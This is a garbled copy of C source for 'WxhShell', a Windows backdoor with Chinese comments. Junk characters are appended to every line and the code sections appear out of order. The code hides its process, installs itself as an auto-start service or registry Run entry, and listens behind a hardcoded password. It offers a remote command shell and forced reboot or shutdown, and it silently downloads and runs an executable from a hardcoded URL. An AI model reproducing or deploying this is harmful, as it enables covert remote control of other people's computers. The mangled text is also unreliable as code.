    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,_lwT}*w  
    else { @3S2Xb{ra1  
    closesocket(wsh); "ej>1{3Y:=  
    ExitThread(0); I( y Wct  
    } l1wxs@](  
    break; uX0wg  
    } 0 q3<RX>M%  
  // 获取shell {fN_itn  
  case 's': { $~~=SOd0  
    CmdShell(wsh); ]aakEU  
    closesocket(wsh); -G Kelz?h>  
    ExitThread(0); d$2{_6  
    break; "| Q&  
  } ;LrKXp  
  // 退出 kkOYC?zE?  
  case 'x': { dadMwe_l0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w pCS]2  
    CloseIt(wsh); (x$k\H  
    break; ?I@3`?'  
    } wc,y+C#V  
  // 离开 Mm[%v t40  
  case 'q': { &1':s|c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jc%>=`f  
    closesocket(wsh); Zz3#Kt5t3  
    WSACleanup(); mifYk>J^9  
    exit(1); #uXOyiE  
    break; x)* /3[  
        } vp_$6  
  } <WbD4Q<3?  
  } Vi?Z`G]w!  
x.r`(  
  // 提示信息 2.lnT{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F9+d7 Y$  
}  vo(?[[  
  } R\Q%_~1  
<zDe;&  
  return; Z?Q2ed*j  
} G#*!)#M <  
c3pt?C  
// shell模块句柄 TwhK>HN  
int CmdShell(SOCKET sock) 8\V-aow  
{ mpF_+Mn  
STARTUPINFO si; *nC,= 2  
ZeroMemory(&si,sizeof(si)); ?\pE#~m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qom@-A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /1>  
PROCESS_INFORMATION ProcessInfo; IIR?@/q  
char cmdline[]="cmd"; BxT~1SBFq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N7jRdT2k%  
  return 0; Cg|uHI*  
} 88*RlxU  
d!LV@</  
// 自身启动模式 <V8i>LBlz  
int StartFromService(void) }mGD`5[`  
{ aw4+1.xy  
typedef struct T8(wzs  
{ Ni)#tz_9  
  DWORD ExitStatus; Y'HF^jv]R  
  DWORD PebBaseAddress; N*MR6~z4  
  DWORD AffinityMask; 7cy~qg  
  DWORD BasePriority; xXYens}  
  ULONG UniqueProcessId; AP7W)S  
  ULONG InheritedFromUniqueProcessId; R`?^%1^N  
}   PROCESS_BASIC_INFORMATION; 6;b 'j\jG  
[;2:lbPx  
PROCNTQSIP NtQueryInformationProcess; D vKM>P%|  
;VH]TKkk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <EUSl|6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "PHv~_:^R  
g|HrhUT;  
  HANDLE             hProcess; 9]w0zUOL6  
  PROCESS_BASIC_INFORMATION pbi; ^U?(g0<"  
9M=K@a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c\'pA^m 6  
  if(NULL == hInst ) return 0; ri;M7rg`.{  
Zs{R O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ykeUS zz2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y_B 4s-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q(IS=  
,+BgY4OY  
  if (!NtQueryInformationProcess) return 0; &}$D[ 4N  
/ IS WC   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j)DZmGg&t  
  if(!hProcess) return 0; wE \c?*k  
MB 5[Js|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DQICD.X6R  
KEN-G  
  CloseHandle(hProcess); vTEkh0Ys  
%Tb|Yfyr C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #G=QL(f>/  
if(hProcess==NULL) return 0; |*NrS<"  
%Eh%mMb^  
HMODULE hMod; u_"h/)C'H  
char procName[255]; -YyH"f   
unsigned long cbNeeded; r97[!y1gt  
Y fA\#N0;3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X&~Eo  
p4EItRZS  
  CloseHandle(hProcess); M\6`2q  
b . j^US^  
if(strstr(procName,"services")) return 1; // 以服务启动 mlWIq]J  
@/(7kh +  
  return 0; // 注册表启动 N6[^62  
} .rm7Sd4K  
Umt ia~x=&  
// 主模块 LD~'^+W  
int StartWxhshell(LPSTR lpCmdLine) }gi' %e  
{ 5; [|k$ v  
  SOCKET wsl; ]+dl=SmF  
BOOL val=TRUE; 4Z<l>!  
  int port=0; ({VBp[Mh  
  struct sockaddr_in door; K-C,+eI  
g0OS<,:  
  if(wscfg.ws_autoins) Install(); ,b(S=r  
,O)\,tg  
port=atoi(lpCmdLine); ZcRm5Du~:  
3/=QZ8HA&-  
if(port<=0) port=wscfg.ws_port; jFT V\|C  
vaOL6=[#:g  
  WSADATA data; d)ZSzq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5(7MQuRR  
BQ:Kx_   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L)'rM-nkFh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'aP*++^   
  door.sin_family = AF_INET; }2A1Yt:^P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ==Mi1Q#5C  
  door.sin_port = htons(port); 5 hadA>d  
Hk*cO;c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O9X:1>a@i  
closesocket(wsl); D>e\OfTR:  
return 1; l1Q+hz5"*U  
} Pq>[q?>?  
I 47GQho  
  if(listen(wsl,2) == INVALID_SOCKET) { g Pj0H&,.  
closesocket(wsl); hr6e1Er  
return 1; 2\\3<  
} @h$0S+?:  
  Wxhshell(wsl); [(F<|f:n  
  WSACleanup(); cu?(P ;mQi  
]U1,NhZu  
return 0; N pND/  
Sw@,<4S  
} &E riskI  
T$8~9 qx  
// 以NT服务方式启动 <?{}Bo0xG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .^IhH|U  
{ 7XWBI\SW  
DWORD   status = 0; ^MHn2Cv/~  
  DWORD   specificError = 0xfffffff; *Yu\YjLPG  
-yQ\3wli`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j~*Z7iu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e=z_+gVm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x0h3jw+6  
  serviceStatus.dwWin32ExitCode     = 0; ![]I%'s  
  serviceStatus.dwServiceSpecificExitCode = 0; H"rzRd; S  
  serviceStatus.dwCheckPoint       = 0; /+t[,  
  serviceStatus.dwWaitHint       = 0; &:I +]G/W  
kF,\bM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =&VXn{e  
  if (hServiceStatusHandle==0) return; 5 t`ap  
H..ZvGu  
status = GetLastError(); ,Zf!KQw  
  if (status!=NO_ERROR) d74g|`/  
{ !GGGh0Bj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TWR $D  
    serviceStatus.dwCheckPoint       = 0; t<k [W'#  
    serviceStatus.dwWaitHint       = 0; s P4 ,S(+e  
    serviceStatus.dwWin32ExitCode     = status; jc.JX_/  
    serviceStatus.dwServiceSpecificExitCode = specificError; B%J%TR_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5J+V:Xu{  
    return; }j(2Dl  
  } ?5v5:U(A  
{I-a;XBX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k gu[!hD1  
  serviceStatus.dwCheckPoint       = 0; 7 Jx-W|  
  serviceStatus.dwWaitHint       = 0; C{hcK 1-K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M 1^C8cz  
} "x|NG,<[9  
%L13Jsw  
// 处理NT服务事件,比如:启动、停止 l \^nC2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <VaMUm<2  
{ G(0y|Eq  
switch(fdwControl) i`KZ,   
{ IbJ[Og^Qyu  
case SERVICE_CONTROL_STOP: 5nx<,-N*BP  
  serviceStatus.dwWin32ExitCode = 0; Az< 9hk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f3TlJ!!U  
  serviceStatus.dwCheckPoint   = 0; K>cz63}S  
  serviceStatus.dwWaitHint     = 0; ;\.JV '  
  { $'knK<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `<}V !Lo  
  } $?)3&\)R  
  return; WTD49_px  
case SERVICE_CONTROL_PAUSE: 6Z7pztk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N~$Zeq=  
  break; Lubs{-5lk  
case SERVICE_CONTROL_CONTINUE: xe6_RO%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {y^|ET7  
  break; )jk1S  
case SERVICE_CONTROL_INTERROGATE: .FKJ yzL  
  break; a}Fk x  
}; -N7xO)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k?HrD"k"  
} f' '{.L  
mUt,Z^ l`  
// 标准应用程序主函数 t*a*v;iz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t{X?PF\>o  
{ O*rmD<L$  
v<%kd[N  
// 获取操作系统版本 ^'7C0ps+A  
OsIsNt=GetOsVer(); \+{t4Im  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r9] rN  
N2tkCkl^x9  
  // 从命令行安装 Y%/ YFO2vb  
  if(strpbrk(lpCmdLine,"iI")) Install(); MV<!<Qmj  
!2Y!jz  
  // 下载执行文件 ?]W~ qgA  
if(wscfg.ws_downexe) { kPO6gdwq$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bR'mV-2'  
  WinExec(wscfg.ws_filenam,SW_HIDE); w*:GM8=6  
} 8jjFC9Cbn0  
|0L=8~M(j  
if(!OsIsNt) { e?!L}^f6X  
// 如果时win9x,隐藏进程并且设置为注册表启动 w#xeua|*I#  
HideProc(); 7<3U?]0  
StartWxhshell(lpCmdLine); z+k=|RMau  
} 7?MB8tJ5r4  
else 5c]}G.NV  
  if(StartFromService()) /^'Bgnez  
  // 以服务方式启动 oSn! "<x  
  StartServiceCtrlDispatcher(DispatchTable); Q sg/ V]  
else 5 o#<`_=J  
  // 普通方式启动 {Z#e{~m#  
  StartWxhshell(lpCmdLine); >I4p9y(u  
|.(CIu~b  
return 0; ~!ZmF(:  
} KZF0rW  
=naR{pI  
VT% KN`l  
gMs+?SNHAh  
=========================================== '%SR.JL  
zLsb`)!  
pcy<2UV  
5{13 V*<  
<&5m N  
yuHZ&e  
" 2mqK3-c  
#ya\Jdx   
#include <stdio.h> DH:GI1Yu>I  
#include <string.h> GIm " )}W  
#include <windows.h> 46bl>yk9<  
#include <winsock2.h> jg [H}  
#include <winsvc.h> sdJ%S*)5G$  
#include <urlmon.h> (#!] fF"!x  
|5xYT 'V  
#pragma comment (lib, "Ws2_32.lib") SyK9Is{8  
#pragma comment (lib, "urlmon.lib") %9C`  
9 Uha2o  
#define MAX_USER   100 // 最大客户端连接数 N] 14  
#define BUF_SOCK   200 // sock buffer ZfPd0 p  
#define KEY_BUFF   255 // 输入 buffer -AjH}A[!  
oW 1"%i%  
#define REBOOT     0   // 重启 ~x|aoozL  
#define SHUTDOWN   1   // 关机 ~:>AR` 9G  
#:J: YMv  
#define DEF_PORT   5000 // 监听端口 Kt W6AZJ  
{p`mfEE (  
#define REG_LEN     16   // 注册表键长度 Y?yo\(Cdx  
#define SVC_LEN     80   // NT服务名长度 D~#Ei?aH  
%K[daXw6E8  
// 从dll定义API ZFS7{:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  nbI= r+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AGOx@;w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (CdJ;-@D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VF)uu[ f9  
Y1{B c<tC  
// wxhshell配置信息 D ]OD.  
struct WSCFG { HA6G)x  
  int ws_port;         // 监听端口 d0(Cn}m"c  
  char ws_passstr[REG_LEN]; // 口令 mxQR4"]jY  
  int ws_autoins;       // 安装标记, 1=yes 0=no c $0_R;4/  
  char ws_regname[REG_LEN]; // 注册表键名 P+<BOG|m  
  char ws_svcname[REG_LEN]; // 服务名 ^0^( u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,;_rIO"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8|O=/m^]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OJAx:&]3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5|ic3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?c!:81+\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dv&>*0B  
qM %O  
}; F4Zn5&.)  
dY}pN"  
// default Wxhshell configuration |6E .M1  
struct WSCFG wscfg={DEF_PORT, %*lp< D  
    "xuhuanlingzhe", h#i\iK&A  
    1, C+w__gO&r  
    "Wxhshell", Z@3l%p6V  
    "Wxhshell", ! ja[ 4.  
            "WxhShell Service", V vu(`9u]  
    "Wrsky Windows CmdShell Service", |h}B{D  
    "Please Input Your Password: ", h T<n1q~  
  1, x(8n 9Q>  
  "http://www.wrsky.com/wxhshell.exe", >1 @Ltvm  
  "Wxhshell.exe" `)32&\  
    }; BQ#3QL't  
AUfS-  
// 消息定义模块 e}A&V+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t<nFy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c-kA^z{f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GnFs63  
char *msg_ws_ext="\n\rExit."; B'-I{~'/  
char *msg_ws_end="\n\rQuit."; Wta]BX  
char *msg_ws_boot="\n\rReboot..."; ~-TOsRvxR  
char *msg_ws_poff="\n\rShutdown..."; 8pXKO"u],  
char *msg_ws_down="\n\rSave to ";  1,,|MW  
hq#kvvi{f  
char *msg_ws_err="\n\rErr!"; L=O lyHO  
char *msg_ws_ok="\n\rOK!"; <l$P&jSF3  
Vtb1[cnna  
char ExeFile[MAX_PATH]; n`(~O O  
int nUser = 0; -4w%Iy  
HANDLE handles[MAX_USER]; |uI?ySF  
int OsIsNt; =m7H)z)i*J  
_%y4q%#  
SERVICE_STATUS       serviceStatus; $X \va?(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KOey8tB)1  
$&hN*7Ts  
// 函数声明 X\Y}oa."A  
int Install(void); a+`D'?z  
int Uninstall(void); #)s!}X^  
int DownloadFile(char *sURL, SOCKET wsh); OfTfNhpK  
int Boot(int flag); w(U:U-MNe  
void HideProc(void); h}Rx_d  
int GetOsVer(void); zI^]esX!2_  
int Wxhshell(SOCKET wsl); W @.Ji B  
void TalkWithClient(void *cs); k$N0lR4:p  
int CmdShell(SOCKET sock); g # S0V  
int StartFromService(void); %'bJ:  
int StartWxhshell(LPSTR lpCmdLine); %{!R l@  
{EA1vo"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LY 0]l$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &<3&'*ueW  
\OQkZ.cU;  
// 数据结构和表定义 VT\ "q1)p  
SERVICE_TABLE_ENTRY DispatchTable[] = J0Z7 l  
{ aJhxc<"e  
{wscfg.ws_svcname, NTServiceMain}, [Wi 1|]X"G  
{NULL, NULL} KkcXNjPVS  
}; xb:&(6\F  
wM~H(=s`D  
// 自我安装 WBr59@V  
int Install(void) ]y#3@  
{ ) 1 m">s4  
  char svExeFile[MAX_PATH]; E{?au]y$J  
  HKEY key; / 3!fA=+  
  strcpy(svExeFile,ExeFile); oDn|2Sdqd  
M f~}/h  
// 如果是win9x系统,修改注册表设为自启动 YJ_\Ns+Ow  
if(!OsIsNt) { )5_jmW`n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i#/]KsSp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K/L;8a  
  RegCloseKey(key); "4o=,$E=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G2Vv i[c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `=UWqb(K_  
  RegCloseKey(key); ^uBxgWIC  
  return 0; rHjq1-t  
    } :Dt~e|  
  } x3 >  
} 3^?ZG^V  
else { t]aea*B  
Lfog {Vzs  
// 如果是NT以上系统,安装为系统服务 -fS.9+k0/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) ZfdQ3  
if (schSCManager!=0) PjKEC N  
{  -I.d}[  
  SC_HANDLE schService = CreateService w[tmCn+  
  ( lVOu)q@l7g  
  schSCManager, `h:34RC;  
  wscfg.ws_svcname, N@ \&1I`c$  
  wscfg.ws_svcdisp, .*g0w`H5pU  
  SERVICE_ALL_ACCESS, a.N{-2ptH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0k)rc$eDF+  
  SERVICE_AUTO_START, )R`xR,H  
  SERVICE_ERROR_NORMAL, i4Lc$20?d  
  svExeFile, wX  >*H  
  NULL, BTgG4F/)  
  NULL, LUB${0BrA  
  NULL, wLc4Dm*V  
  NULL, h/?l4iR*  
  NULL ls@i".[  
  ); n3A aZp[  
  if (schService!=0) A,sr[Pa@  
  { .7K7h^*F  
  CloseServiceHandle(schService); T,aW8|  
  CloseServiceHandle(schSCManager); y@0E[/O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  (x/k.&  
  strcat(svExeFile,wscfg.ws_svcname); :#@= B]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F~ h7{@\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~e6Brq  
  RegCloseKey(key); ;>n,:355L  
  return 0; :oJ=iB'Zc  
    } eek7=Z  
  } ;4Y%PV z~D  
  CloseServiceHandle(schSCManager); &=VDASEu  
} sI{ M  
} nBk)WX&[K  
0u\GO;  
return 1; t+9][Adf  
} PLK3v4kVM!  
d_IAs  
// 自我卸载 `@nl  
int Uninstall(void) ,7<f9 EVY  
{ Y1]n^  
  HKEY key; +E{|63~q  
xg3:}LQ  
if(!OsIsNt) { 6I%5Q4Ll  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {{QELfH2  
  RegDeleteValue(key,wscfg.ws_regname); oH_;4QU4y  
  RegCloseKey(key); !QvZ<5(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {WYX~Mvvj  
  RegDeleteValue(key,wscfg.ws_regname); HSc~*Q  
  RegCloseKey(key); :Of^xj>A  
  return 0; u:=7l  
  } ZjF 4v  
} H!$o$}A  
} #`)(e JF  
else {  iKT[=c  
k7T`bYv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x^y'P<ypw  
if (schSCManager!=0) <i&_ooX  
{ ~vyf4TF<#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [5SD_dN  
  if (schService!=0) >Z'NXha  
  { / G7vwC  
  if(DeleteService(schService)!=0) { B!?%O  
  CloseServiceHandle(schService); c9&xe"v  
  CloseServiceHandle(schSCManager); oC0qG[yp9S  
  return 0; njputEGX  
  } >&}%+r\  
  CloseServiceHandle(schService); ivN&HAxI@  
  } LGw$v[wb  
  CloseServiceHandle(schSCManager); $7^o#2 B  
} pe 1R(|H  
} Pu"P9  
1pgU}sRk  
return 1; (&F ,AY3A  
} 'Wm x)0)  
\RC'XKQ*n  
// 从指定url下载文件 5Ou`z5S\k  
int DownloadFile(char *sURL, SOCKET wsh) woK&q7Vn  
{ {+Rog/;S'  
  HRESULT hr; 8~@c)Z;  
char seps[]= "/"; 62ws/8d6f  
char *token; Yp^rR }N  
char *file; +[\FD; >  
char myURL[MAX_PATH]; a6)BqlJ  
char myFILE[MAX_PATH]; ]1#e#M]#  
Yfzl%wc  
strcpy(myURL,sURL); Ju1D = b  
  token=strtok(myURL,seps); lww!-(<ww  
  while(token!=NULL) Ng~FEl  
  { 7%x[q}  
    file=token; ',JinE95  
  token=strtok(NULL,seps); Ws|j#X<  
  } 2{H@(Vgpbr  
Bf~vA4  
GetCurrentDirectory(MAX_PATH,myFILE); i#vYyVr[  
strcat(myFILE, "\\"); gc-@"wI?  
strcat(myFILE, file); PgF* 1  
  send(wsh,myFILE,strlen(myFILE),0); Lh!J >  
send(wsh,"...",3,0); YUtC.TR1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RC7]'4o  
  if(hr==S_OK) T[UN@^DP(  
return 0; svcK?^ HTe  
else 5YeM%%-S  
return 1; BBwy,\o#  
 3KlbP  
} 128EPK  
i:Y^{\Z?V  
// 系统电源模块 +M\`#i\g>  
int Boot(int flag) iJ1"at  
{ 3TeY%5iVt  
  HANDLE hToken; vqDu(6!2  
  TOKEN_PRIVILEGES tkp; (MxQ+D\  
aBNc(?ri  
  if(OsIsNt) { Nfrw0b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^/I 7|u]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < $lCkSx<Q  
    tkp.PrivilegeCount = 1; hKL4cpK4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C zs8!S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1\ o59Y  
if(flag==REBOOT) { Yg%I?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v&DI`xn~  
  return 0; ;- ~B)M_S`  
} tE<H|_{L  
else { K*K,}W&}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D#cyOrzy  
  return 0; RzE_K'M  
} lb4Pcd j  
  } ~ =M7 3U#  
  else { ZxGJzakB5$  
if(flag==REBOOT) { }YGV\Nu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B~MU^ |v  
  return 0; +" .X )avF  
} snE8 K}4  
else { [=6]+V83M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y\4L{GlBM  
  return 0; )~)J?l3 {  
} *2p t%eav  
} Dp,L/1GQ8  
X( \ AB  
return 1; %g{X?  
} h7G"G"  
V_ :1EBzz  
// win9x进程隐藏模块 J=9FRC  
void HideProc(void) P{kur} T  
{ >JHryS.j$4  
4tRYw0f47  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k]F[>26k  
  if ( hKernel != NULL ) {f3YsM;]C  
  { 3% #3iZ=_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nv*FT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +rd|A|hRq  
    FreeLibrary(hKernel); vyNxT*,[K  
  } yj 3cyLXw  
6tgt>\y  
return; :%t U'w  
} ?pW`cFLDHF  
GZN ^k+w  
// 获取操作系统版本 eVjBGJ=2e  
int GetOsVer(void) n4;.W#\  
{ }aa'\8  
  OSVERSIONINFO winfo; ,>bh$|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SA&Rep^  
  GetVersionEx(&winfo); kJ'!r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :;t:H] f  
  return 1; 0gW"i&7c  
  else u%&`}g  
  return 0; dyz2.ZY~2  
} EizKoHI-z  
(9''MlGd%  
// 客户端句柄模块 Q|S.R1L^  
int Wxhshell(SOCKET wsl) l+xX/A)  
{ jFQQ`O V  
  SOCKET wsh; 2V- 16Q'%  
  struct sockaddr_in client; !E<[JM  
  DWORD myID; (5$!MUS~9  
EU2$f  
  while(nUser<MAX_USER) |7'df&CA  
{ *v;2PP[^  
  int nSize=sizeof(client); -u6bAQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \ :%(q/v"X  
  if(wsh==INVALID_SOCKET) return 1; 9&-dTayIz  
Sq>dt[7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DrKP%BnS  
if(handles[nUser]==0) |HiE@  
  closesocket(wsh); dU&a{ $ku[  
else <Th6r.#?  
  nUser++; yZ0-wI  
  } g!g#]9j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jD$,.AVvz  
|^&b8  
  return 0; ?&8^&brwG  
} {fPy=,>Nb  
C)[,4wt,  
// 关闭 socket @E&J_un  
void CloseIt(SOCKET wsh) NW~N}5T  
{ >!eAM )  
closesocket(wsh); ,`'Qi%O  
nUser--; @6Y?\Wx$w  
ExitThread(0); {{$Nqn,pH  
} %0S3V[4I  
7x"R3  
// 客户端请求句柄 5bRJS70M  
void TalkWithClient(void *cs) m~iXl,r  
{ ]J1dtN=  
3@etRd;]Kr  
  SOCKET wsh=(SOCKET)cs; [;n9:Qxf  
  char pwd[SVC_LEN]; ]~Rho_mq#  
  char cmd[KEY_BUFF]; JrJo|0Q  
char chr[1]; k0OYJ/  
int i,j; Y+kfBvxyf  
r<9Iof4  
  while (nUser < MAX_USER) { j@n)kPo,1  
k$4y9{  
if(wscfg.ws_passstr) { Z+*9#!?J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); td(li.,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >~''&vdsk\  
  //ZeroMemory(pwd,KEY_BUFF); z6KCv(zvB  
      i=0; ]0Y4U7W  
  while(i<SVC_LEN) { ,82S=N5V!  
A!od9W6  
  // 设置超时 Y>dF5&(kb  
  fd_set FdRead; /K+r? ]kf  
  struct timeval TimeOut; -RE^tW*Yy  
  FD_ZERO(&FdRead); 3atBX5  
  FD_SET(wsh,&FdRead); { }:#G  
  TimeOut.tv_sec=8; Tr_w]'  
  TimeOut.tv_usec=0; !{ y@od@T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "IZa!eUW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $.Qkb@}  
]&o$b]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;;!yC  
  pwd=chr[0]; h0(BO*cy  
  if(chr[0]==0xd || chr[0]==0xa) { fe\mL mK9  
  pwd=0; d2*fLEsF  
  break; Y4J3-wK5  
  } j_qbAP  
  i++; 4V{:uuI;f  
    } ~uj#4>3T  
$iN"9N%l  
  // 如果是非法用户,关闭 socket ]Z>}6!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yk'XGr)  
} Lm iOhx  
$jjfC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _'#n6^Us<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G4Q[Th  
:">!r.Q  
while(1) { Uf1!qP/H?  
[zH:1Zhl&  
  ZeroMemory(cmd,KEY_BUFF); ncZ+gzK|"  
4zXFuTr($  
      // 自动支持客户端 telnet标准   aHV;N#Lx3  
  j=0; G0CW}e@)  
  while(j<KEY_BUFF) { qz"}g/;?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xipU8'ac/  
  cmd[j]=chr[0]; Jz\%%C  
  if(chr[0]==0xa || chr[0]==0xd) { 6gL #C&  
  cmd[j]=0; C(eTR1  
  break; a4m n*,  
  } JYMiLph<  
  j++; I5X|(0es  
    } 2bv=N4ly  
x!?u^  
  // 下载文件 f&=AA@jLv  
  if(strstr(cmd,"http://")) { XPavReGf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h&M{]E9=  
  if(DownloadFile(cmd,wsh)) h}>"j%I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&G+bdA>,  
  else &pP;Neh;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 034iK[ib"  
  } 1gE [v  
  else { J-[,KME_^  
4(#'_jS  
